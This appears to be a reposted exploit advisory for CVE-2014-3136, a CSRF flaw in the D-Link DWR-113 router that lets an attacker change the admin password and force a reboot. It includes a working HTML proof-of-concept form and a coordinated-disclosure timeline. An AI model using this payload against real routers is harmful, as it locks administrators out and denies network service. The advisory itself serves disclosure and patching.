Bài liên quan
Exploit Title: Dlink DWR-113 Rev. Ax - CSRF causing Denial of ServiceGoogle dork : N/AExploit Author: Blessen ThomasVendor Homepage : http://www.dlink.com/Software Link : N/AFirmware version: v2.02 2013-03-13Tested on : Windows 7CVE : CVE-2014-3136Type of Application : Web applicationRelease mode : Coordinated disclosureVulnerability description:It was observed that the D-link DWR-113 wireless router is vulnerable todenial of service attack via CSRF(Cross-Site Request Forgery) vulnerability.An attacker could craft a malicious CSRF exploit to change the password inthe password functionality when the user(admin) is logged in to theapplication ,as the user interface (admin panel) lacks the csrf token ornonce to prevent an attacker to change the password.As a result, as soon as the crafted malicious exploit is executed therouter is rebooted and the user could not login thus forcing to reset therouter’s device physically ,leading to a denial of service condition.POC code (exploit) :*Restart Router by CSRF*<html> <!-- CSRF PoC ---> <body> <form action="http://192.168.0.1/rebo.htm"> <input type="hidden" name="S00010002" value="test" /> <input type="hidden" name="np2" value="test" /> <input type="hidden" name="N00150004" value="0" /> <input type="hidden" name="N00150001" value="" /> <input type="hidden" name="N00150003" value="1080" /> <input type="hidden" name="_cce" value="0x80150002" /> <input type="hidden" name="_sce" value="%Ssc" /> <input type="submit" value="Submit request" /> </form> </body></html>Tools used :Mozilla firefox browser v28.0 , Burp proxy free edition v1.5Timeline :06-04-14 : Contacted Vendor with details of Vulnerability and Exploit.06-04-14 : Vendor D-Link forwards to R&D team for review29-04-14 : Vendor contacted to know the status.01-05-14 : Vendor acknowledged and released a patch01-05-14 : CVE ID provided by Mitre team.http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10034
Post a Comment